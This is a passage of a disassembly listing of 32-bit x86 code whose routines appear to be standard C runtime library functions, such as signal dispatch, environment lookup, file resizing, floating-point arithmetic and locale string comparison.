		or	eax, 0FFFFFFFFh
		jmp	loc_41D59D
; ---------------------------------------------------------------------------


loc_41D4A5:				; CODE XREF: sub_41D474+27j
		mov	esi, dword_742504
		mov	eax, offset dword_742504
		jmp	short loc_41D4E6
; ---------------------------------------------------------------------------


loc_41D4B2:				; CODE XREF: sub_41D474+24j
		mov	esi, dword_742500
		mov	eax, offset dword_742500
		jmp	short loc_41D4E6
; ---------------------------------------------------------------------------


loc_41D4BF:				; CODE XREF: sub_41D474+1Fj
		mov	esi, dword_742508
		mov	eax, offset dword_742508
		jmp	short loc_41D4E6
; ---------------------------------------------------------------------------


loc_41D4CC:				; CODE XREF: sub_41D474+10j
					; sub_41D474+15j ...
		push	edi
		call	sub_41D5A1
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_41D4E6
; ---------------------------------------------------------------------------


loc_41D4DB:				; CODE XREF: sub_41D474+Cj
		mov	esi, dword_7424FC
		mov	eax, offset dword_7424FC


loc_41D4E6:				; CODE XREF: sub_41D474+3Cj
					; sub_41D474+49j ...
		cmp	esi, 1
		jnz	short loc_41D4F2
		xor	eax, eax
		jmp	loc_41D59D
; ---------------------------------------------------------------------------


loc_41D4F2:				; CODE XREF: sub_41D474+75j
		test	esi, esi
		jnz	short loc_41D4FD
		push	3
		call	sub_415C9A


loc_41D4FD:				; CODE XREF: sub_41D474+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_41D50F
		cmp	edi, 0Bh
		jz	short loc_41D50F
		cmp	edi, 4
		jnz	short loc_41D535


loc_41D50F:				; CODE XREF: sub_41D474+8Fj
					; sub_41D474+94j
		mov	ebx, dword_7422DC
		and	dword_7422DC, 0
		cmp	edi, ecx
		jnz	short loc_41D564
		mov	edx, dword_437E0C
		mov	dword_437E0C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_41D538
; ---------------------------------------------------------------------------


loc_41D535:				; CODE XREF: sub_41D474+99j
		mov	ebx, [ebp+arg_0]


loc_41D538:				; CODE XREF: sub_41D474+BFj
		cmp	edi, ecx
		jnz	short loc_41D564
		mov	eax, dword_437E00
		mov	ecx, dword_437E04
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_41D56B
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:437D90h[edx*4]


loc_41D559:				; CODE XREF: sub_41D474+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_41D559
		jmp	short loc_41D56B
; ---------------------------------------------------------------------------


loc_41D564:				; CODE XREF: sub_41D474+AAj
					; sub_41D474+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_41D579


loc_41D56B:				; CODE XREF: sub_41D474+D7j
					; sub_41D474+EEj
		push	dword_437E0C
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_41D587
; ---------------------------------------------------------------------------


loc_41D579:				; CODE XREF: sub_41D474+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_41D587
		cmp	edi, 4
		jnz	short loc_41D59A


loc_41D587:				; CODE XREF: sub_41D474+103j
					; sub_41D474+10Cj
		cmp	edi, 8
		mov	dword_7422DC, ebx
		jnz	short loc_41D59A
		mov	eax, [ebp+arg_0]
		mov	dword_437E0C, eax


loc_41D59A:				; CODE XREF: sub_41D474+111j
					; sub_41D474+11Cj
		xor	eax, eax
		pop	ebx


loc_41D59D:				; CODE XREF: sub_41D474+2Cj
					; sub_41D474+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41D474	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D5A1	proc near		; CODE XREF: sub_41D474+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_437E08
		cmp	dword_437D8C, edx
		push	esi
		mov	eax, offset dword_437D88
		jz	short loc_41D5CF
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:437D88h[esi*4]


loc_41D5C3:				; CODE XREF: sub_41D5A1+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41D5CF
		cmp	[eax+4], edx
		jnz	short loc_41D5C3


loc_41D5CF:				; CODE XREF: sub_41D5A1+16j
					; sub_41D5A1+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:437D88h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41D5E3
		cmp	[eax+4], edx
		jz	short locret_41D5E5


loc_41D5E3:				; CODE XREF: sub_41D5A1+3Bj
		xor	eax, eax

locret_41D5E5:				; CODE XREF: sub_41D5A1+40j
		retn
sub_41D5A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5E6	proc near		; CODE XREF: sub_41BFB2+23p

arg_0		= dword	ptr  4

		cmp	dword_743888, 0
		push	ebx
		push	esi
		mov	esi, dword_742254
		push	edi
		jz	short loc_41D65D
		test	esi, esi
		jnz	short loc_41D617
		cmp	dword_74225C, esi
		jz	short loc_41D65D
		call	sub_41DA84
		test	eax, eax
		jnz	short loc_41D65D
		mov	esi, dword_742254
		test	esi, esi
		jz	short loc_41D65D


loc_41D617:				; CODE XREF: sub_41D5E6+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_41D65D
		push	ebx
		call	sub_413E90
		pop	ecx
		mov	edi, eax


loc_41D628:				; CODE XREF: sub_41D5E6+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41D65D
		push	eax
		call	sub_413E90
		cmp	eax, edi
		pop	ecx
		jbe	short loc_41D650
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_41D650
		push	edi
		push	ebx
		push	eax
		call	sub_41DA45
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41D655


loc_41D650:				; CODE XREF: sub_41D5E6+51j
					; sub_41D5E6+59j
		add	esi, 4
		jmp	short loc_41D628
; ---------------------------------------------------------------------------


loc_41D655:				; CODE XREF: sub_41D5E6+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_41D65F
; ---------------------------------------------------------------------------


loc_41D65D:				; CODE XREF: sub_41D5E6+10j
					; sub_41D5E6+1Cj ...
		xor	eax, eax


loc_41D65F:				; CODE XREF: sub_41D5E6+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D5E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D663	proc near		; CODE XREF: sub_41C716+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_413E60
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_743640
		jnb	loc_41D798
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_743540[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_41D798
		push	1
		push	esi
		push	ebx
		call	sub_419DD2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_41D7A2
		push	2
		push	esi
		push	ebx
		call	sub_419DD2
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41D7A2
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41D745
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_413890
		push	8000h
		push	ebx
		call	sub_41DAF2
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_41D6F9:				; CODE XREF: sub_41D663+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_41D704
		mov	eax, edi


loc_41D704:				; CODE XREF: sub_41D663+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_41A67D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D722
		sub	edi, eax
		test	edi, edi
		jle	short loc_41D738
		jmp	short loc_41D6F9
; ---------------------------------------------------------------------------


loc_41D722:				; CODE XREF: sub_41D663+B5j
		cmp	dword_742230, 5
		jnz	short loc_41D735
		mov	dword_74222C, 0Dh


loc_41D735:				; CODE XREF: sub_41D663+C6j
		or	esi, 0FFFFFFFFh


loc_41D738:				; CODE XREF: sub_41D663+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_41DAF2
		pop	ecx
		pop	ecx
		jmp	short loc_41D785
; ---------------------------------------------------------------------------


loc_41D745:				; CODE XREF: sub_41D663+71j
		jge	short loc_41D785
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_419DD2
		push	ebx
		call	sub_41C682
		add	esp, 10h
		push	eax
		call	ds:off_41F010
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D785
		mov	dword_74222C, 0Dh
		call	ds:off_41F06C
		mov	dword_742230, eax


loc_41D785:				; CODE XREF: sub_41D663+E0j
					; sub_41D663:loc_41D745j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_419DD2
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------


loc_41D798:				; CODE XREF: sub_41D663+1Aj
					; sub_41D663+36j
		mov	dword_74222C, 9


loc_41D7A2:				; CODE XREF: sub_41D663+4Ej
					; sub_41D663+63j
		or	eax, 0FFFFFFFFh


loc_41D7A5:				; CODE XREF: sub_41D663+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_41D663	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D7A9	proc near		; CODE XREF: sub_41D1E1+165p
					; sub_41D9C9+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_41D9A9
		cmp	cx, 7FFFh
		jnb	loc_41D9A9
		cmp	dx, 0BFFDh
		ja	loc_41D9A9
		cmp	dx, 3FBFh
		ja	short loc_41D812
		xor	eax, eax
		jmp	short loc_41D84C
; ---------------------------------------------------------------------------


loc_41D812:				; CODE XREF: sub_41D7A9+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_41D834
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_41D834
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_41D836
		cmp	[esi], eax
		jnz	short loc_41D836
		jmp	loc_41D9A3
; ---------------------------------------------------------------------------


loc_41D834:				; CODE XREF: sub_41D7A9+71j
					; sub_41D7A9+79j
		xor	eax, eax


loc_41D836:				; CODE XREF: sub_41D7A9+80j
					; sub_41D7A9+84j
		cmp	cx, ax
		jnz	short loc_41D859
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_41D859
		cmp	[ebx+4], eax
		jnz	short loc_41D859
		cmp	[ebx], eax
		jnz	short loc_41D859


loc_41D84C:				; CODE XREF: sub_41D7A9+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_41D9C4
; ---------------------------------------------------------------------------


loc_41D859:				; CODE XREF: sub_41D7A9+90j
					; sub_41D7A9+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_41D869:				; CODE XREF: sub_41D7A9+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_41D8BD
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_41D885:				; CODE XREF: sub_41D7A9+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41CB6F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41D8B0
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_41D8B0:				; CODE XREF: sub_41D7A9+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_41D885


loc_41D8BD:				; CODE XREF: sub_41D7A9+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_41D869
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_41D900


loc_41D8DB:				; CODE XREF: sub_41D7A9+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_41D8F9
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41CBEE
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41D8DB


loc_41D8F9:				; CODE XREF: sub_41D7A9+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41D939


loc_41D900:				; CODE XREF: sub_41D7A9+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_41D939
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_41D919:				; CODE XREF: sub_41D7A9+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_41D922
		inc	[ebp+var_14]


loc_41D922:				; CODE XREF: sub_41D7A9+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41CC1C
		dec	ebx
		pop	ecx
		jnz	short loc_41D919
		cmp	[ebp+var_14], 0
		jz	short loc_41D939
		or	byte ptr [ebp+var_24], 1


loc_41D939:				; CODE XREF: sub_41D7A9+155j
					; sub_41D7A9+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_41D950
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_41D985


loc_41D950:				; CODE XREF: sub_41D7A9+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_41D982
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_41D97D
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_41D977
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_41D985
; ---------------------------------------------------------------------------


loc_41D977:				; CODE XREF: sub_41D7A9+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_41D985
; ---------------------------------------------------------------------------


loc_41D97D:				; CODE XREF: sub_41D7A9+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_41D985
; ---------------------------------------------------------------------------


loc_41D982:				; CODE XREF: sub_41D7A9+1ABj
		inc	[ebp+var_24+2]


loc_41D985:				; CODE XREF: sub_41D7A9+1A5j
					; sub_41D7A9+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_41D9A9
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_41D9A3:				; CODE XREF: sub_41D7A9+86j
		mov	[esi+0Ah], ax
		jmp	short loc_41D9C4
; ---------------------------------------------------------------------------


loc_41D9A9:				; CODE XREF: sub_41D7A9+42j
					; sub_41D7A9+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_41D9C4:				; CODE XREF: sub_41D7A9+ABj
					; sub_41D7A9+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D7A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D9C9	proc near		; CODE XREF: sub_41CD10+440p
					; sub_41D1E1+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_438280
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_41DA42
		jge	short loc_41D9F1
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_4383E0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_41D9F1:				; CODE XREF: sub_41D9C9+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41D9FC
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_41D9FC:				; CODE XREF: sub_41D9C9+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_41DA42
		push	esi
		push	edi


loc_41DA03:				; CODE XREF: sub_41D9C9+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_41DA3B
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_41DA2E
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_41DA2E:				; CODE XREF: sub_41D9C9+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_41D7A9
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_41DA3B:				; CODE XREF: sub_41D9C9+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_41DA03
		pop	edi
		pop	esi


loc_41DA42:				; CODE XREF: sub_41D9C9+14j
					; sub_41D9C9+36j
		pop	ebx
		leave
		retn
sub_41D9C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DA45	proc near		; CODE XREF: sub_41D5E6+5Ep
					; sub_41DF6C+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_41DA52
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41DA52:				; CODE XREF: sub_41DA45+7j
		push	dword_743644
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	dword_743864
		call	sub_41DB68
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41DA7F
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41DA7F:				; CODE XREF: sub_41DA45+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_41DA45	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DA84	proc near		; CODE XREF: sub_41D5E6+1Ep
					; sub_41DDE5+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_74225C
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_41DAE5
		mov	ebx, ds:dword_41F10C


loc_41DA9D:				; CODE XREF: sub_41DA84+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_41DAED
		push	ebp
		call	sub_413F0B
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_41DAED
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41DAED
		push	edi
		push	[esp+18h+var_4]
		call	sub_41DDE5
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_41DA9D


loc_41DAE5:				; CODE XREF: sub_41DA84+11j
		xor	eax, eax


loc_41DAE7:				; CODE XREF: sub_41DA84+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41DAED:				; CODE XREF: sub_41DA84+29j
					; sub_41DA84+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DAE7
sub_41DA84	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAF2	proc near		; CODE XREF: sub_41D663+8Bp
					; sub_41D663+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_743640
		jnb	short loc_41DB59
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_743540[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_41DB59
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_41DB32
		and	cl, 7Fh
		jmp	short loc_41DB3F
; ---------------------------------------------------------------------------


loc_41DB32:				; CODE XREF: sub_41DAF2+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_41DB4D
		or	cl, 80h


loc_41DB3F:				; CODE XREF: sub_41DAF2+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DB4D:				; CODE XREF: sub_41DAF2+48j
		mov	dword_74222C, 16h
		jmp	short loc_41DB63
; ---------------------------------------------------------------------------


loc_41DB59:				; CODE XREF: sub_41DAF2+Bj
					; sub_41DAF2+27j
		mov	dword_74222C, 9


loc_41DB63:				; CODE XREF: sub_41DAF2+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41DAF2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB68	proc near		; CODE XREF: sub_41DA45+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41FC18
		push	offset sub_41B124
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_742514, ebx
		push	1
		pop	edi
		jnz	short loc_41DBDB
		push	edi
		mov	eax, offset dword_41F868
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:off_41F008
		test	eax, eax
		jz	short loc_41DBB8
		mov	dword_742514, edi
		jmp	short loc_41DBDB
; ---------------------------------------------------------------------------


loc_41DBB8:				; CODE XREF: sub_41DB68+46j
		push	edi
		mov	eax, offset dword_438A0C
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:off_41F00C
		test	eax, eax
		jz	loc_41DDD1
		mov	dword_742514, 2


loc_41DBDB:				; CODE XREF: sub_41DB68+31j
					; sub_41DB68+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_41DBF2
		push	esi
		push	[ebp+arg_8]
		call	sub_41A1E8
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_41DBF2:				; CODE XREF: sub_41DB68+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_41DC07
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_41A1E8
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_41DC07:				; CODE XREF: sub_41DB68+8Dj
		mov	eax, dword_742514
		cmp	eax, 2
		jnz	short loc_41DC2C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:off_41F00C
		jmp	loc_41DDD3
; ---------------------------------------------------------------------------


loc_41DC2C:				; CODE XREF: sub_41DB68+A7j
		cmp	eax, edi
		jnz	loc_41DDD1
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41DC41
		mov	eax, dword_7422C4
		mov	[ebp+arg_18], eax


loc_41DC41:				; CODE XREF: sub_41DB68+CFj
		cmp	esi, ebx
		jz	short loc_41DC4E
		cmp	[ebp+arg_14], ebx
		jnz	loc_41DCE6


loc_41DC4E:				; CODE XREF: sub_41DB68+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_41DC5B


loc_41DC53:				; CODE XREF: sub_41DB68+13Cj
					; sub_41DB68+16Dj
		push	2


loc_41DC55:				; CODE XREF: sub_41DB68+146j
		pop	eax
		jmp	loc_41DDD3
; ---------------------------------------------------------------------------


loc_41DC5B:				; CODE XREF: sub_41DB68+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_41DC67


loc_41DC60:				; CODE XREF: sub_41DB68+151j
					; sub_41DB68+159j ...
		mov	eax, edi
		jmp	loc_41DDD3
; ---------------------------------------------------------------------------


loc_41DC67:				; CODE XREF: sub_41DB68+F6j
		cmp	esi, edi
		jg	short loc_41DCAC
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	ds:dword_41F18C	; GetCPInfo
		test	eax, eax
		jz	loc_41DDD1
		cmp	esi, ebx
		jle	short loc_41DCB0
		cmp	[ebp+var_3C], 2
		jb	short loc_41DCAC
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41DCAC


loc_41DC92:				; CODE XREF: sub_41DB68+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41DCAC
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41DCA6
		cmp	cl, dl
		jbe	short loc_41DC53


loc_41DCA6:				; CODE XREF: sub_41DB68+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41DC92


loc_41DCAC:				; CODE XREF: sub_41DB68+101j
					; sub_41DB68+120j ...
		push	3
		jmp	short loc_41DC55
; ---------------------------------------------------------------------------


loc_41DCB0:				; CODE XREF: sub_41DB68+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_41DCE6
		cmp	[ebp+var_3C], 2
		jb	short loc_41DC60
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41DC60


loc_41DCC3:				; CODE XREF: sub_41DB68+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41DC60
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41DCDB
		cmp	cl, dl
		jbe	loc_41DC53


loc_41DCDB:				; CODE XREF: sub_41DB68+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41DCC3
		jmp	loc_41DC60
; ---------------------------------------------------------------------------


loc_41DCE6:				; CODE XREF: sub_41DB68+E0j
					; sub_41DB68+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	ds:dword_41F110	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_41DDD1
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_413E60
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41DD35
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_41DD35:				; CODE XREF: sub_41DB68+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_41DDD1
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, ds:dword_41F110
